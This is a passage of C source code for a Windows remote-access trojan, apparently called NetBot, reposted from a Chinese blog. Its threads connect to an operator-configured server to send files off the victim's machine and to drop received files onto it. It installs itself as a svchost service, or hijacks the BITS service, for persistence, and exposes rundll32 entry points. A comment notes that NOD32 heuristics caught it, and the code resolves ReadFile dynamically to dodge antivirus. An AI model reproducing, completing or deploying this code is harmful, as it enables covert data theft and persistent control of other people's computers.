		dwDownFileSize = GetFileSize(hDownFile, NULL);

	m_FileOpt.iSize = dwDownFileSize;
	//send file message
	if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwDownFileSize <= 0)
	{
		shutdown(FileSocket,0x02);
		closesocket(FileSocket);
		return 1;//send socket type error				
	}

	//被NOD32启发杀了
//	HINSTANCE hInst;
	HINSTANCE hInst = LoadLibrary("kernel32.dll");
	if(hInst == NULL)
	{
		closesocket(FileSocket);
		return 0;//send socket type error
	}
	typedef BOOL (WINAPI *pReadFile)(
		HANDLE hFile,
		LPVOID lpBuffer,
		DWORD nNumberOfBytesToRead,
		LPDWORD lpNumberOfBytesRead,
		LPOVERLAPPED lpOverlapped
			);
	pReadFile MyReadFile;
//	pReadFile MyReadFile = (pReadFile)GetProcAddress(hInst, "ReadFile");	

	//循环发送文件数据
	while(dwDownFileSize > 0)
	{
		if (MyReadFile)
		{
			if( !MyReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
				break;
		}
		else
		{
			if( !ReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) )
				break;
		}

		if( send(FileSocket, (char*)&SendBuffer, dwBytes, 0) <= 0 )
			break;
		dwDownFileSize -= dwBytes;

	}
	if (hInst)
		FreeLibrary(hInst);
	CloseHandle(hDownFile);
	shutdown(FileSocket,0x02);
	closesocket(FileSocket);
	
	return 10;
}

DWORD _stdcall FileUpThread(LPVOID lParam)
{
	FileOpt m_FileOpt;
	memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));

	struct sockaddr_in LocalAddr;
	LocalAddr.sin_family=AF_INET;
	LocalAddr.sin_port=htons(modify_data.ServerPort);
	LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
	
	SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
	if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
	{
		closesocket(FileSocket);
		return 0;//connect error
	}

	int iOutTime = 60000;//60秒超时
	setsockopt(FileSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOutTime, sizeof(int));	
	
	MsgHead msgHead;
	//send socket type 
	msgHead.dwCmd = SOCKET_FILEUP;
	msgHead.dwSize = 0;
	if(!SendMsg(FileSocket, NULL, &msgHead))
	{
		closesocket(FileSocket);
		return 0;//send socket type error
	}

	//////////////////////////////////////////////////////
	HANDLE hUpFile = INVALID_HANDLE_VALUE;
	DWORD  dwUpFileSize = 0, dwBufSize = 4096, dwBytes;
	BYTE   RecvBuffer[4096];
	int nRet =0 ;

	//get download data
	hUpFile = CreateFile(m_FileOpt.cScrFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
	if (hUpFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR
		dwUpFileSize  = 0;
	else
		dwUpFileSize = 100;

	m_FileOpt.iSize = dwUpFileSize;
	//send file message
	if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwUpFileSize <= 0)
	{
		shutdown(FileSocket,0x02);
		closesocket(FileSocket);
		return 1;//send socket type error				
	}

	while(TRUE)
	{
		nRet = recv(FileSocket, (char*)&RecvBuffer, dwBufSize, 0);	
		if (nRet <= 0)
			break;
		WriteFile(hUpFile, RecvBuffer, nRet, &dwBytes, NULL);
	}

	CloseHandle(hUpFile);
	shutdown(FileSocket,0x02);
	closesocket(FileSocket);

	return 10;
}

////////////////////////////////////////////////////////////////////////////////////////////////////
BOOL _stdcall Install(LPCSTR szDllPath)
{
	if (modify_data.bReplace)
		return ReplaceSvchostService("BITS",szDllPath);
	else
		return InstallSvchostService(modify_data.strSvrName, 
		                             modify_data.strSvrDisp, 
					                 modify_data.strSvrDesc,
					                 szDllPath);
}

BOOL _stdcall Uninstall()
{
	if (modify_data.bReplace)
	{
		StopService(modify_data.strSvrName);
	}
	else
	{
		StopService(modify_data.strSvrName);
		UninstallService(modify_data.strSvrName);
	}

	return TRUE;
}

void CALLBACK RundllInstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
{
	Install(param);
}

void CALLBACK RundllUninstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow)
{
	Uninstall();
}

////////////////////////////////////////////////////////////////////////////////////////////////////
//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;

void __stdcall ServiceMain(DWORD dwArgc, wchar_t* argv[])
{
	char svcname[256];
	strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
	wcstombs(svcname, argv[0], sizeof svcname);

	hSrv = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler );
    
	if( hSrv == NULL )
		return;
	else 
		FreeConsole();

	TellSCM( SERVICE_START_PENDING, 0, 1 );
	TellSCM( SERVICE_RUNNING, 0, 0 );
		
	//Run My Main Code=============

	HANDLE hThread = CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

    do
	{
		Sleep(100);//not quit until receive stop command, otherwise the service will stop
	}while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED);
}

void __stdcall ServiceHandler( DWORD dwCommand )
{
    switch( dwCommand )
    {
    case SERVICE_CONTROL_STOP:
        TellSCM( SERVICE_STOP_PENDING, 0, 1 );
		Sleep(10);
        TellSCM( SERVICE_STOPPED, 0, 0 );
        break;
    case SERVICE_CONTROL_PAUSE:
        TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
        TellSCM( SERVICE_PAUSED, 0, 0 );
        break;
    case SERVICE_CONTROL_CONTINUE:
        TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
        TellSCM( SERVICE_RUNNING, 0, 0 );
        break;
    case SERVICE_CONTROL_INTERROGATE:
        TellSCM( dwCurrState, 0, 0 );
        break;
    case SERVICE_CONTROL_SHUTDOWN:
        TellSCM( SERVICE_STOPPED, 0, 0 );
		break;
    }
}

int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
      SERVICE_STATUS srvStatus;
      srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
      srvStatus.dwCurrentState = dwCurrState = dwState;
      srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
      srvStatus.dwWin32ExitCode = dwExitCode;
      srvStatus.dwServiceSpecificExitCode = 0;
      srvStatus.dwCheckPoint = dwProgress;
      srvStatus.dwWaitHint = 3000;
      return SetServiceStatus( hSrv, &srvStatus );
}

BOOL APIENTRY DllMain( HINSTANCE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		g_hDllModule = (HMODULE)hModule;
    #ifdef NETBOT_TEST
		CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL);
    #endif //NETBOT_TEST	
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:		
		break;
    }
    return TRUE;
}


 

原文地址:https://www.cnblogs.com/new0801/p/6177759.html